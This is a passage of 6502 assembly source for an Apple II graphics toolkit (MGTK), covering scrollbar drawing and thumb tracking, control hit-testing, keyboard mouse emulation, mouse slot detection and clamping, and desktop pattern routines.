.assert (MGTK::Winfo::vscroll - MGTK::Winfo::hscroll) = 1, error, "hscroll must be 1 less than vscroll"
dey
toggle: eor params::activate
and #1
eor (window),y
RTS_IF_A_EQ (window),y ; no-op if no change
sta (window),y
jsr HideCursorSaveParams
lda params::activate
jsr DrawOrEraseScrollbar
jmp ShowCursorAndRestore
.endproc ; ActivateCtlImpl
.proc DrawOrEraseScrollbar
bne do_draw
jsr GetScrollbarScrollArea
jsr SetStandardPort
MGTK_CALL MGTK::PaintRect, winrect
rts
do_draw:
bit which_control
bmi vert_scrollbar
bit current_winfo::hscroll
bmi has_scroll
ret: rts
vert_scrollbar:
bit current_winfo::vscroll
bpl ret
has_scroll:
jsr SetStandardPort
jsr GetScrollbarScrollArea
MGTK_CALL MGTK::SetPattern, light_speckles_pattern
MGTK_CALL MGTK::PaintRect, winrect
MGTK_CALL MGTK::SetPattern, standard_port::pattern
bit which_control
bmi vert_thumb
bit current_winfo::hscroll
bvs has_thumb
ret2: rts
vert_thumb:
bit current_winfo::vscroll
bvc ret2
has_thumb:
jsr GetThumbRect
jmp FillAndFrameRect
.endproc ; DrawOrEraseScrollbar
light_speckles_pattern:
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.byte %11011101
.byte %01110111
.proc GetScrollbarScrollArea
bit which_control
bpl horiz
jsr GetWinVertScrollRect
lda winrect::y1
clc
adc #$0C
sta winrect::y1
bcc :+
inc winrect::y1+1
:
lda winrect::y2
sec
sbc #$0B
sta winrect::y2
bcs :+
dec winrect::y2+1
:
lda current_winfo::options
and #MGTK::Option::grow_box
bne :+
bit current_winfo::hscroll
bpl v_noscroll
: lda winrect::y2
sec
sbc #$0B
sta winrect::y2
bcs :+
dec winrect::y2+1
:
v_noscroll:
inc16 winrect::x1
lda winrect::x2
bne :+
dec winrect::x2+1
: dec winrect::x2
jmp return_winrect_jmp
horiz: jsr GetWinHorizScrollRect
lda winrect::x1
clc
adc #$15
sta winrect::x1
bcc :+
inc winrect::x1+1
:
lda winrect::x2
sec
sbc #$15
sta winrect::x2
bcs :+
dec winrect::x2+1
:
lda current_winfo::options
and #MGTK::Option::grow_box
bne :+
bit current_winfo::vscroll
bpl h_novscroll
: lda winrect::x2
sec
sbc #$15
sta winrect::x2
bcs h_novscroll
dec winrect::x2+1
h_novscroll:
inc16 winrect::y1
lda winrect::y2
bne :+
dec winrect::y2+1
: dec winrect::y2
return_winrect_jmp:
jmp return_winrect
.endproc ; GetScrollbarScrollArea
thumb_max := $A3
thumb_pos := $A1
kXThumbWidth = 20
kYThumbHeight = 12
.proc GetThumbRect
thumb_coord := $82
jsr GetScrollbarScrollArea
jsr GetThumbVals
jsr FixedDiv
lda fixed_div_quotient+2 ; 8.0 integral part
pha
jsr CalcCtlBounds
jsr SetUpThumbDivision
pla
tax
lda thumb_max
ldy thumb_max+1
;;cpx #1 ; 100%
dex
beq :+
ldx fixed_div_quotient+1 ; 0.8 fractional part
jsr GetThumbCoord
: sta thumb_coord
sty thumb_coord+1
ldx #0 ; x-coords
lda #kXThumbWidth
bit which_control
bpl :+
ldx #2 ; y-coords
lda #kYThumbHeight
: pha
add16 winrect,x, thumb_coord, winrect,x
pla
;;clc
adc winrect::x1,x
sta winrect::x2,x
lda winrect::x1+1,x
adc #0
sta winrect::x2+1,x
jmp return_winrect
.endproc ; GetThumbRect
;;; ============================================================
;;; FindControl
;;; 4 bytes of params, copied to current_penloc
.proc FindControlImpl
jsr SaveParamsAndStack
jsr TopWindow
bne :+
EXIT_CALL MGTK::Error::no_active_window
:
ep:
bit current_winfo::vscroll
bpl no_vscroll
jsr GetWinVertScrollRect
jsr InWinRect
beq no_vscroll
ldx #0
lda current_winfo::vscroll
lsr
bcc vscrollbar
lda #which_control_vert
sta which_control
jsr GetScrollbarScrollArea
jsr InWinRect
beq in_arrows
bit current_winfo::vscroll
bvc return_dead_zone
jsr GetThumbRect
jsr InWinRect
beq no_thumb
ldx #MGTK::Part::thumb
bne vscrollbar
in_arrows:
lda #MGTK::Part::up_arrow
bne :+
no_thumb:
lda #MGTK::Part::page_up
: pha
jsr GetThumbRect
pla
tax
lda current_penloc_y
cmp winrect::y1
bcc :+
inx ; part_down_arrow / part_page_down
:
vscrollbar:
lda #MGTK::Ctl::vertical_scroll_bar
bne return_result
no_vscroll:
bit current_winfo::hscroll
bpl no_hscroll
jsr GetWinHorizScrollRect
jsr InWinRect
beq no_hscroll
ldx #0
lda current_winfo::hscroll
lsr
bcc hscrollbar
lda #which_control_horiz
sta which_control
jsr GetScrollbarScrollArea
jsr InWinRect
beq in_harrows
bit current_winfo::hscroll
bvc return_dead_zone
jsr GetThumbRect
jsr InWinRect
beq no_hthumb
ldx #MGTK::Part::thumb
bne hscrollbar
in_harrows:
lda #MGTK::Part::left_arrow
bne :+
no_hthumb:
lda #MGTK::Part::page_left
: pha
jsr GetThumbRect
pla
tax
scmp16 current_penloc_x, winrect::x1
bmi hscrollbar
inx
hscrollbar:
lda #MGTK::Ctl::horizontal_scroll_bar
bne return_result
no_hscroll:
jsr GetWinRect
jsr InWinRect
beq return_dead_zone
lda #MGTK::Ctl::not_a_control
beq return_result
return_dead_zone:
lda #MGTK::Ctl::dead_zone
return_result:
jmp FindWindowImpl::return_result
.endproc ; FindControlImpl
.proc FindControlExImpl
PARAM_BLOCK params, $82
mousex .word
mousey .word
which_ctl .byte
which_part .byte
window_id .byte
END_PARAM_BLOCK
jsr SaveParamsAndStack
;; Needed for FindControl
COPY_STRUCT MGTK::Point, params::mousex, current_penloc
;; Needed for WindowByIdOrExit
copy8 params::window_id, $82
jsr WindowByIdOrExit
jmp FindControlImpl::ep
.endproc ; FindControlExImpl
;;; ============================================================
;;; SetCtlMax
;;; 3 bytes of params, copied to $82
.proc SetCtlMaxImpl
PARAM_BLOCK params, $82
which_ctl .byte
ctlmax .byte
END_PARAM_BLOCK
lda params::which_ctl
cmp #MGTK::Ctl::vertical_scroll_bar
bne :+
lda #$80
sta params::which_ctl
bne got_ctl ; always
: eor #MGTK::Ctl::horizontal_scroll_bar
bne :+
sta params::which_ctl
beq got_ctl ; always
: EXIT_CALL MGTK::Error::control_not_found
got_ctl:
jsr TopWindow
bne :+
EXIT_CALL MGTK::Error::no_active_window
: ldy #MGTK::Winfo::hthumbmax
bit params::which_ctl
bpl :+
ldy #MGTK::Winfo::vthumbmax
: lda params::ctlmax
sta (window),y
sta current_winfo,y
rts
.endproc ; SetCtlMaxImpl
;;; ============================================================
;;; TrackThumb
;;; 5 bytes of params, copied to $82
.proc TrackThumbImpl
PARAM_BLOCK params, $82
which_ctl .byte
mouse_pos .tag MGTK::Point
thumbpos .byte
thumbmoved .byte
END_PARAM_BLOCK
thumb_dim := $82
lda params::which_ctl
cmp #MGTK::Ctl::vertical_scroll_bar
bne :+
lda #which_control_vert
sta params::which_ctl
bne got_ctl ; always
: eor #MGTK::Ctl::horizontal_scroll_bar
bne :+
;;lda #which_control_horiz
.assert which_control_horiz = 0, error, "which_control_horiz must be 0"
sta params::which_ctl
beq got_ctl ; always
: EXIT_CALL MGTK::Error::control_not_found
got_ctl:lda params::which_ctl
sta which_control
ldx #3
: lda params::mouse_pos,x
sta drag_initialpos,x
sta drag_curpos,x
dex
bpl :-
jsr TopWindow
bne :+
EXIT_CALL MGTK::Error::no_active_window
: jsr GetThumbRect
;; Stash initial position, to detect no-op
initial_pos := $8A
ldx #0
bit which_control
bpl :+
ldx #2
: lda winrect,x
sta initial_pos
lda winrect+1,x
sta initial_pos+1
jsr SaveParamsAndStack
jsr SetDesktopPort
jsr SetFillModeXOR
MGTK_CALL MGTK::SetPattern, light_speckles_pattern
jsr HideCursorImpl
drag_loop:
jsr FrameWinRect
jsr ShowCursorImpl
no_change:
jsr GetAndReturnEvent
cmp #MGTK::EventKind::button_up
beq drag_done
jsr CheckIfChanged
beq no_change
jsr HideCursorImpl
jsr FrameWinRect
jsr TopWindow
jsr GetThumbRect
ldx #0
lda #kXThumbWidth
bit which_control
bpl :+
ldx #2
lda #kYThumbHeight
: sta thumb_dim
lda winrect,x
clc
adc drag_delta,x
tay
lda winrect+1,x
adc drag_delta+1,x
cmp ctl_bound1+1
bcc :+
bne in_bound1
cpy ctl_bound1
bcs in_bound1
: lda ctl_bound1+1
ldy ctl_bound1
in_bound1:
cmp ctl_bound2+1
bcc in_bound2
bne :+
cpy ctl_bound2
bcc in_bound2
: lda ctl_bound2+1
ldy ctl_bound2
in_bound2:
sta winrect+1,x
tya
sta winrect,x
clc
adc thumb_dim
sta winrect::x2,x
lda winrect+1,x
adc #0
sta winrect::x2+1,x
bcc drag_loop ; always
drag_done:
jsr HideCursorImpl
jsr FrameWinRect
jsr ShowCursorAndRestore
;; Did position change?
ldx #0
bit which_control
bpl :+
ldx #2
: lda winrect,x
cmp initial_pos
bne :+
lda winrect+1,x
cmp initial_pos+1
bne :+
lda thumb_pos ; (out) thumbpos = original value
ldx #0 ; (out) thumbmoved = 0
beq store ; always
:
jsr SetUpThumbDivision
jsr FixedDiv
ldx FixedDiv::quotient+2 ; 8.0 integral part
jsr GetThumbVals
lda FixedDiv::divisor
ldy #0
cpx #1
bcs :+
ldx fixed_div_quotient+1 ; 0.8 fractional part
jsr GetThumbCoord
:
ldx #1 ; (out) thumbmoved
store:
ldy #params::thumbpos - params
jmp store_xa_at_y
.endproc ; TrackThumbImpl
;; Calculates the thumb coordinates given the maximum position
;; and current fraction.
;;
;; Inputs:
;; A,Y = maximum position of thumb in 16.0 format
;; X = fraction in fixed 0.8 format
;;
;; Outputs:
;; A,Y = current position of thumb in 16.0 format
;; (= maximum position * fraction)
;;
.proc GetThumbCoord
increment := $82
accum := $84
sta increment ; fixed 8.8 = max position/256
sty increment+1
lda #$80 ; fixed 8.8 = 1/2
sta accum
ldy #$00
sty accum+1
txa ; fixed 8.0 = fraction*256
beq ret
loop: add16 increment, accum, accum ; returning with A=high byte of accum
bcc :+
iny
: dex ; (accum low),A,Y is in fixed 16.8
bne loop ; return A,Y
ret: rts
.endproc ; GetThumbCoord
ctl_bound2:
.res 2
ctl_bound1:
.res 2
;; Set FixedDiv::divisor and FixedDiv::dividend up for the
;; proportion calculation for the control in which_control.
.proc SetUpThumbDivision
sub16 ctl_bound2, ctl_bound1, FixedDiv::divisor
ldx #0
bit which_control
bpl :+
ldx #2
: sub16 winrect,x, ctl_bound1, FixedDiv::dividend
rts
.endproc ; SetUpThumbDivision
;; Set thumb_max and thumb_pos according to the control indicated
;; in which_control.
.proc GetThumbVals
ldy #MGTK::Winfo::hthumbmax
bit which_control
bpl is_horiz
ldy #MGTK::Winfo::vthumbmax
is_horiz:
lda (window),y
sta thumb_max
iny
lda (window),y
sta thumb_pos
lda #0
sta thumb_pos+1
sta thumb_max+1
rts
.endproc ; GetThumbVals
.proc CalcCtlBounds
offset := $82
ldx #0
lda #kXThumbWidth
bit which_control
bpl :+
ldx #2
lda #kYThumbHeight
:
sta offset
lda winrect::x1,x
ldy winrect::x1+1,x
sta ctl_bound1
sty ctl_bound1+1
lda winrect::x2,x
ldy winrect::x2+1,x
sec
sbc offset
bcs :+
dey
: sta ctl_bound2
sty ctl_bound2+1
rts
.endproc ; CalcCtlBounds
;;; ============================================================
;;; UpdateThumb
;;; 3 bytes of params, copied to $8C
.proc UpdateThumbImpl
PARAM_BLOCK params, $8C
which_ctl .byte
thumbpos .byte
END_PARAM_BLOCK
lda which_control
cmp #MGTK::Ctl::vertical_scroll_bar
bne :+
lda #which_control_vert
sta which_control
bne check_win
: eor #MGTK::Ctl::horizontal_scroll_bar
bne bad_ctl
;;lda #which_control_horiz
.assert which_control_horiz = 0, error, "which_control_horiz must be 0"
sta which_control
beq check_win
bad_ctl:
EXIT_CALL MGTK::Error::control_not_found
check_win:
jsr TopWindow
bne :+
EXIT_CALL MGTK::Error::no_active_window
: ldy #MGTK::Winfo::hthumbpos
bit which_control
bpl :+
ldy #MGTK::Winfo::vthumbpos
: lda params::thumbpos
RTS_IF_A_EQ (window),y ; no-op if no change
sta (window),y
jsr HideCursorSaveParams
jsr SetStandardPort
jsr DrawOrEraseScrollbar
jmp ShowCursorAndRestore
.endproc ; UpdateThumbImpl
;;; ============================================================
;;; KeyboardMouse
;;; 1 byte of params, copied to $82
.proc KeyboardMouse
lda #kKeyboardMouseStateForced
sta kbd_mouse_state
jmp FlushEventsImpl
.endproc ; KeyboardMouse
;;; ============================================================
kKeyboardMouseStateInactive = 0 ; Disabled
kKeyboardMouseStateMouseKeys = 4 ; MouseKeys mode
kKeyboardMouseStateForced = $80 ; KeyboardMouse call
kbd_mouse_state:
.byte kKeyboardMouseStateInactive
kbd_mouse_x: .word 0
kbd_mouse_y: .word 0
saved_mouse_pos:
saved_mouse_x: .word 0
saved_mouse_y: .byte 0
movement_cancel: .byte $00
kbd_mouse_status: .byte $00
;;; ============================================================
;;; X = xlo, Y = xhi, A = y
.proc SetMousePos
bit mouse_hooked_flag
bmi no_firmware
bit no_mouse_flag
bmi no_firmware
pha
txa
sec
jsr ScaleMouseCoord
ldx mouse_firmware_hi
sta MOUSE_X_LO->$C000,x
tya
sta MOUSE_X_HI->$C000,x
pla
ldy #$00
clc
jsr ScaleMouseCoord
ldx mouse_firmware_hi
sta MOUSE_Y_LO->$C000,x
tya
sta MOUSE_Y_HI->$C000,x
ldy #POSMOUSE
jmp CallMouse
no_firmware:
jsr SetMouseCoords
bit mouse_hooked_flag
bpl not_hooked
ldy #POSMOUSE
jmp CallMouse
not_hooked:
rts
.endproc ; SetMousePos
.proc SetMouseCoords
stx mouse_x
sty mouse_x+1
sta mouse_y
rts
.endproc ; SetMouseCoords
;;; ============================================================
.proc RestoreMousePos
ldx saved_mouse_x
ldy saved_mouse_x+1
lda saved_mouse_y
jmp SetMousePos
.endproc ; RestoreMousePos
.proc SetMousePosFromKbdMouse
ldx kbd_mouse_x
ldy kbd_mouse_x+1
lda kbd_mouse_y
jmp SetMousePos
.endproc ; SetMousePosFromKbdMouse
.proc ScaleMouseCoord
bcc scale_y
ldx mouse_scale_x
bne :+
ret: rts
scale_y:
ldx mouse_scale_y
beq ret
: pha
tya
lsr a
tay
pla
ror a
dex
bne :-
rts
.endproc ; ScaleMouseCoord
.proc KbdMouseToMouse
COPY_BYTES 3, kbd_mouse_x, mouse_x
rts
.endproc ; KbdMouseToMouse
.proc PositionKbdMouse
jsr KbdMouseToMouse
jmp SetMousePosFromKbdMouse
.endproc ; PositionKbdMouse
.proc SaveMousePos
jsr ReadMousePos
COPY_BYTES 3, mouse_x, saved_mouse_pos
rts
.endproc ; SaveMousePos
.proc UnstashCursor
jsr stash_addr
copy16 kbd_mouse_cursor_stash, params_addr
jsr SetCursorImpl
jsr restore_addr
;; Exit special state
lda #kKeyboardMouseStateInactive
sta kbd_mouse_state
;; Flag a button release to finish the implied drag
lda #$40
sta mouse_status
jmp RestoreMousePos
.endproc ; UnstashCursor
.proc KbdMouseInitTracking
lda #0
sta movement_cancel
sta force_tracking_change
rts
.endproc ; KbdMouseInitTracking
;; Look at buttons (apple keys), compute modifiers in A
;; (bit 0 = button 0 / open apple, bit 1 = button 1 / solid apple)
.proc ComputeModifiers
lda BUTN1
asl a
lda BUTN0
and #$80
rol a
rol a
rts
.endproc ; ComputeModifiers
.proc GetKey
jsr ComputeModifiers
sta set_input_modifiers
no_modifiers:
clc
lda KBD
bpl :+
stx KBDSTRB
and #CHAR_MASK
sec
: rts
.endproc ; GetKey
.proc HandleKeyboardMouse
lda kbd_mouse_state
RTS_IF_ZERO
cmp #kKeyboardMouseStateMouseKeys
beq KbdMouseMousekeys
jsr KbdMouseSyncCursor
jmp KbdMouseDoWindow
.endproc ; HandleKeyboardMouse
.proc StashCursor
jsr stash_addr
copy16 active_cursor, kbd_mouse_cursor_stash
copy16 #pointer_cursor, params_addr
jsr SetCursorImpl
jmp restore_addr
.endproc ; StashCursor
kbd_mouse_cursor_stash:
.res 2
stash_addr:
copy16 params_addr, stashed_addr
rts
restore_addr:
copy16 stashed_addr, params_addr
rts
stashed_addr: .addr 0
.proc KbdMouseMousekeys
jsr ComputeModifiers ; C=_ A=____ __SO
ror a ; C=O A=____ ___S
ror a ; C=S A=O___ ____
ror kbd_mouse_status ; shift solid apple into bit 7 of kbd_mouse_status
lda kbd_mouse_status ; becomes mouse button
sta mouse_status
lda #0
sta input::modifiers
jsr GetKey::no_modifiers
bcc :+
jmp MousekeysInput
: jmp PositionKbdMouse
.endproc ; KbdMouseMousekeys
.proc ActivateKeyboardMouse
lda kbd_mouse_state
bne in_kbd_mouse ; branch away if keyboard mouse is active
;; Activate?
bit mouse_status
bmi ret ; branch away if button is down
;; Check for OA+SA+Space
jsr ComputeModifiers
cmp #3
bne ret
lda KBD
bpl ret
cmp #' '|$80 ; space?
bne ret ; no, ignore
;; Give immediate feedback
bit KBDSTRB
jsr PlayTone1
jsr PlayTone2
;; Wait for OA and SA to be released
: jsr ComputeModifiers
bne :-
sta input::modifiers
lda #kKeyboardMouseStateMouseKeys
sta kbd_mouse_state
lda #0
sta kbd_mouse_status ; reset mouse button status
COPY_BYTES 3, cursor_pos, kbd_mouse_x
ret: rts
;; Deactivate?
in_kbd_mouse:
cmp #kKeyboardMouseStateMouseKeys
bne :+
lda KBD
cmp #CHAR_ESCAPE|$80
bne :+
;; Give immediate feedback
bit KBDSTRB
jsr PlayTone2
jsr PlayTone1
lda #kKeyboardMouseStateInactive
sta kbd_mouse_state
: rts
.proc PlayTone1
lda #$00 ; pitch = 256
ldx #$40 ; duration = 16384
bne PlayTone ; always
.endproc ; PlayTone1
.proc PlayTone2
lda #$E0 ; pitch = 224
ldx #$49 ; duration = 16352
FALL_THROUGH_TO PlayTone
.endproc ; PlayTone2
;;; A = pitch, A*X = duration
.proc PlayTone
beeploop:
bit SPKR
tay
: dey
bne :-
dex
bne beeploop
rts
.endproc ; PlayTone
.endproc ; ActivateKeyboardMouse
.proc KbdMouseSyncCursor
bit mouse_status
bpl :+
lda #kKeyboardMouseStateInactive
sta kbd_mouse_state
jmp SetMousePosFromKbdMouse
: lda mouse_status
ldx #$C0
stx mouse_status
and #$20
beq :+
COPY_BYTES 3, mouse_x, kbd_mouse_x
rts
:
jmp KbdMouseToMouse
.endproc ; KbdMouseSyncCursor
.proc KbdWinDragOrGrow
php
sei
jsr SaveMousePos
lda #$80
sta mouse_status
jsr GetWinFrameRect
bit drag_resize_flag
bpl do_drag
lda current_winfo::options
and #MGTK::Option::grow_box
beq no_grow
ldx #0
: sec
lda winrect::x2,x
sbc #4
sta kbd_mouse_x,x
sta drag_initialpos,x
sta drag_curpos,x
lda winrect::x2+1,x
sbc #0
sta kbd_mouse_x+1,x
sta drag_initialpos+1,x
sta drag_curpos+1,x
inx
inx
cpx #4
bcc :-
sec
lda #<(kScreenWidth-1)
sbc drag_initialpos::xcoord
lda #>(kScreenWidth-1)
sbc drag_initialpos::xcoord+1
bmi no_grow
sec
lda #<(kScreenHeight-1)
sbc drag_initialpos::ycoord
lda #>(kScreenHeight-1)
sbc drag_initialpos::ycoord+1
bmi no_grow
jsr PositionKbdMouse
jsr StashCursor
plp
rts
no_grow:
lda #kKeyboardMouseStateInactive
sta kbd_mouse_state
lda #MGTK::Error::window_not_resizable
plp
jmp exit_with_a
do_drag:
ldx #0
lda current_winfo::options
;;and #MGTK::Option::dialog_box
;;beq no_dialog
.assert MGTK::Option::dialog_box = 1, error, "dialog_box must be 1"
lsr
bcc no_dialog
;;ldx #kKeyboardMouseStateInactive
.assert kKeyboardMouseStateInactive = 0, error, "kKeyboardMouseStateInactive must be 0"
stx kbd_mouse_state
EXIT_CALL MGTK::Error::window_not_draggable
no_dialog:
dragloop:
clc
lda winrect::x1,x
cpx #2
beq is_y
adc #$23 - 5
is_y: adc #5
sta kbd_mouse_x,x
sta drag_initialpos,x
sta drag_curpos,x
lda winrect::x1+1,x
adc #0
sta kbd_mouse_x+1,x
sta drag_initialpos+1,x
sta drag_curpos+1,x
inx
inx
cpx #4
bcc dragloop
bit kbd_mouse_x+1
bpl xpositive
ldx #1
lda #0
: sta kbd_mouse_x,x
sta drag_initialpos,x
sta drag_curpos,x
dex
bpl :-
xpositive:
jsr PositionKbdMouse
jsr StashCursor
plp
rts
.endproc ; KbdWinDragOrGrow
.proc KbdMouseAddToY
php
clc
adc kbd_mouse_y
sta kbd_mouse_y
plp
bpl yclamp
;; Negative offset - if wrapped, clamp to 0
cmp #<kScreenHeight
bcc :+
lda #0
sta kbd_mouse_y
: jmp PositionKbdMouse
;; Positive offset - if beyond screen, clamp to max
yclamp: cmp #<kScreenHeight
bcc :-
lda #<(kScreenHeight-1)
sta kbd_mouse_y
bne :- ; always
.endproc ; KbdMouseAddToY
.proc KbdMouseDoWindow
jsr GetKey
RTS_IF_CC
cmp #CHAR_ESCAPE
bne :+
lda #$80
sta movement_cancel
jmp UnstashCursor
: cmp #CHAR_RETURN
bne :+
jmp UnstashCursor
: tax
lda set_input_modifiers
beq :+
ora #$80
sta set_input_modifiers
: txa
ldx #$C0
stx mouse_status
FALL_THROUGH_TO MousekeysInput
.endproc ; KbdMouseDoWindow
.proc MousekeysInput
cmp #CHAR_UP
bne not_up
lda #256-48
bit set_input_modifiers
bmi :+ ; leave N flag set
lda #256-8 ; sets N flag
: jmp KbdMouseAddToY ; N flag must be set here
not_up:
cmp #CHAR_DOWN
bne not_down
lda #8
bit set_input_modifiers
bpl :+ ; leave N flag clear
lda #48 ; clears N flag
: jmp KbdMouseAddToY ; N flag must be clear here
not_down:
cmp #CHAR_RIGHT
bne not_right
jsr KbdMouseCheckXmax
bcc out_of_bounds
clc
lda #8
bit set_input_modifiers
bpl :+
lda #64
: adc kbd_mouse_x
sta kbd_mouse_x
bcc :+
inc kbd_mouse_x+1
: sec
lda kbd_mouse_x
sbc #<(kScreenWidth-1)
lda kbd_mouse_x+1
sbc #>(kScreenWidth-1)
bmi out_of_bounds
lda #>(kScreenWidth-1)
sta kbd_mouse_x+1
lda #<(kScreenWidth-1)
sta kbd_mouse_x
out_of_bounds:
jmp PositionKbdMouse
not_right:
cmp #CHAR_LEFT
bne not_left
jsr KbdMouseCheckXmin
bcc out_of_boundsl
lda kbd_mouse_x
bit set_input_modifiers
bpl :+
sbc #64 - 8
: sbc #8
sta kbd_mouse_x
lda kbd_mouse_x+1
sbc #0
sta kbd_mouse_x+1
bpl out_of_boundsl
lda #0
sta kbd_mouse_x
sta kbd_mouse_x+1
out_of_boundsl:
jmp PositionKbdMouse
not_left:
sta set_input_key ; TODO: Is this needed any more?
rts
.endproc ; MousekeysInput
.proc SetInput
MGTK_CALL MGTK::PostEvent, set_input_params
rts
.endproc ; SetInput
.params set_input_params ; 1 byte shorter than normal, since KEY
state: .byte MGTK::EventKind::key_down
key: .byte 0
modifiers:
.byte 0
.endparams
set_input_key := set_input_params::key
set_input_modifiers := set_input_params::modifiers
;; Set to true to force the return value of CheckIfChanged to true
;; during a tracking kOperation.
force_tracking_change:
.byte 0
.proc KbdMouseCheckXmin
lda kbd_mouse_state
cmp #kKeyboardMouseStateMouseKeys
beq ret_ok
lda kbd_mouse_x
bne ret_ok
lda kbd_mouse_x+1
bne ret_ok
bit drag_resize_flag
bpl :+
ret_ok: sec
rts
: jsr GetWinFrameRect
lda winrect::x2+1
bne min_ok
lda #9
bit set_input_params::modifiers
bpl :+
lda #65
: cmp winrect::x2
bcc min_ok
clc
rts
min_ok: inc force_tracking_change
clc
lda #8
bit set_input_params::modifiers
bpl :+
lda #64
: adc drag_initialpos
sta drag_initialpos
bcc :+
inc drag_initialpos+1
: clc
rts
.endproc ; KbdMouseCheckXmin
.proc KbdMouseCheckXmax
lda kbd_mouse_state
cmp #kKeyboardMouseStateMouseKeys
beq :+
bit drag_resize_flag
bmi :+
lda kbd_mouse_x
sbc #<(kScreenWidth-1)
lda kbd_mouse_x+1
sbc #>(kScreenWidth-1)
beq is_max
: sec
rts
is_max: jsr GetWinFrameRect
sec
lda #<(kScreenWidth-1)
sbc winrect::x1
tax
lda #>(kScreenWidth-1)
sbc winrect::x1+1
beq :+
ldx #256-1
: bit set_input_modifiers
bpl :+
cpx #100
bcc clc_rts
bcs ge_100
: cpx #44
bcs in_range
clc_rts:
clc
rts
ge_100: sec
lda drag_initialpos
sbc #64
jmp :+
in_range:
sec
lda drag_initialpos
sbc #8
: sta drag_initialpos
bcs :+
dec drag_initialpos+1
:
inc force_tracking_change
clc
rts
.endproc ; KbdMouseCheckXmax
grew_flag:
.byte 0
.proc SetGrewFlag
lda #$80
sta grew_flag
grts: rts
.endproc ; SetGrewFlag
.proc FinishGrow
bit kbd_mouse_state
bpl SetGrewFlag::grts
bit grew_flag
bpl SetGrewFlag::grts
jsr GetWinFrameRect
php
sei
ldx #0
: sub16 winrect::x2,x, #4, kbd_mouse_x,x
inx
inx
cpx #4
bcc :-
jsr PositionKbdMouse
plp
rts
.endproc ; FinishGrow
;;; ============================================================
;;; ScaleMouse
;;; Sets up mouse clamping
;;; 2 bytes of params, copied to $82
;;; byte 1 controls x clamp, 2 controls y clamp
;;; clamp is to fractions of screen (0 = full, 1 = 1/2, 2 = 1/4, 3 = 1/8) (why???)
.proc ScaleMouseImpl
PARAM_BLOCK params, $82
x_exponent .byte
y_exponent .byte
END_PARAM_BLOCK
lda params::x_exponent
sta mouse_scale_x
lda params::y_exponent
sta mouse_scale_y
set_clamps:
bit no_mouse_flag ; called after INITMOUSE
bmi end
ldy mouse_scale_x
lda clamp_x_table_low,y
ldx clamp_x_table_high,y
ldy #CLAMP_X
jsr set_clamp
ldy mouse_scale_y
lda clamp_y_table_low,y
ldx clamp_y_table_high,y
ldy #CLAMP_Y
FALL_THROUGH_TO set_clamp
set_clamp:
sta mouse_y
stx mouse_y+1
bit mouse_hooked_flag
bmi :+
sta CLAMP_MAX_LO
stx CLAMP_MAX_HI
:
lda #0
sta mouse_x
sta mouse_x+1
bit mouse_hooked_flag
bmi :+
sta CLAMP_MIN_LO
sta CLAMP_MIN_HI
:
tya ; CLAMP_X or CLAMP_Y
ldy #CLAMPMOUSE
jmp CallMouse
end: rts
clamp_x_table_low: .byte <(kScreenWidth-1), <(kScreenWidth/2-1), <(kScreenWidth/4-1), <(kScreenWidth/8-1)
clamp_x_table_high: .byte >(kScreenWidth-1), >(kScreenWidth/2-1), >(kScreenWidth/4-1), >(kScreenWidth/8-1)
clamp_y_table_low: .byte <(kScreenHeight-1), <(kScreenHeight/2-1), <(kScreenHeight/4-1), <(kScreenHeight/8-1)
clamp_y_table_high: .byte >(kScreenHeight-1), >(kScreenHeight/2-1), >(kScreenHeight/4-1), >(kScreenHeight/8-1)
.endproc ; ScaleMouseImpl
;;; ============================================================
;;; Locate Mouse Slot
;; If X's high bit is set, only slot in low bits is tested.
;; Otherwise all slots are scanned.
.proc FindMouse
txa
and #$7F
beq scan
jsr CheckMouseInA
sta no_mouse_flag
beq found
ldx #0
rts
;; Scan for mouse starting at slot 7
scan: ldx #7
loop: txa
jsr CheckMouseInA
sta no_mouse_flag
beq found
dex
bpl loop
inx ; no mouse found
rts
found:
ldy #INITMOUSE
jsr CallMouseWithROMBankedIn ; ensure `VERSION` is accurate
jsr ScaleMouseImpl::set_clamps
ldy #HOMEMOUSE
jsr CallMouse
lda mouse_firmware_hi
and #$0F
tax ; return with mouse slot in X
rts
;; Check for mouse in slot A
.proc CheckMouseInA
ptr := $88
ora #>$C000
sta ptr+1
lda #<$0000
sta ptr
ldy #$0C ; $Cn0C = $20
lda (ptr),y
cmp #$20
bne nope
ldy #$FB ; $CnFB = $D6
lda (ptr),y
cmp #$D6
bne nope
lda ptr+1 ; yay, found it!
sta mouse_firmware_hi
asl a
asl a
asl a
asl a
sta mouse_operand
return #$00
nope: return #$80
.endproc ; CheckMouseInA
.endproc ; FindMouse
no_mouse_flag: ; high bit set if no mouse present
.byte 0
mouse_firmware_hi: ; e.g. if mouse is in slot 4, this is $C4
.byte 0
mouse_operand: ; e.g. if mouse is in slot 4, this is $40
.byte 0
;;; ============================================================
;;; GetDeskPat
.proc GetDeskPatImpl
ldax #desktop_pattern
jmp store_xa_at_params
.endproc ; GetDeskPatImpl
;;; ============================================================
;;; SetDeskPat
.proc SetDeskPatImpl
ldy #.sizeof(MGTK::Pattern)-1
: lda (params_addr),y
sta desktop_pattern,y
dey
bpl :-
rts
.endproc ; SetDeskPatImpl
;;; ============================================================
;;; GetWinFrameRect
;;; 5 bytes of params, copied to $82
.proc GetWinFrameRectImpl
PARAM_BLOCK params, $82
window_id .byte
rect .tag MGTK::Rect
END_PARAM_BLOCK
jsr WindowByIdOrExit
jsr GetWinFrameRect
;; Copy Rect from winrect to params_addr + 1
kOffset = params::rect - params
ldy #kOffset + .sizeof(MGTK::Rect)
: lda winrect - kOffset,y
sta (params_addr),y
dey
bne :- ; leave window_id alone
rts
.endproc ; GetWinFrameRectImpl
;;; ============================================================
;;; RedrawDeskTop
.proc RedrawDeskTopImpl
COPY_STRUCT desktop_mapinfo, set_port_params
;; Restored by `EraseWindow`
jsr HideCursorSaveParams
lda #0 ; window to erase (none)
jmp EraseWindow
.endproc ; RedrawDeskTopImpl
;;; ============================================================
.proc FlashMenuBarImpl
jsr SaveParamsAndStack
jsr SetStandardPort
jsr SetFillModeXOR
MGTK_CALL MGTK::PaintRect, menu_bar_rect
jmp RestoreParamsActivePort
.endproc ; FlashMenuBarImpl
;;; ============================================================
.proc InflateRectImpl
PARAM_BLOCK params, $82
rect .addr
xdelta .word
ydelta .word
END_PARAM_BLOCK
ldy #0
;; Subtract from x1 and y1; Y is 0...3
ldx #2
: sec
lda (params::rect),y
sbc params::xdelta,y
sta (params::rect),y
iny
lda (params::rect),y
sbc params::xdelta,y
sta (params::rect),y
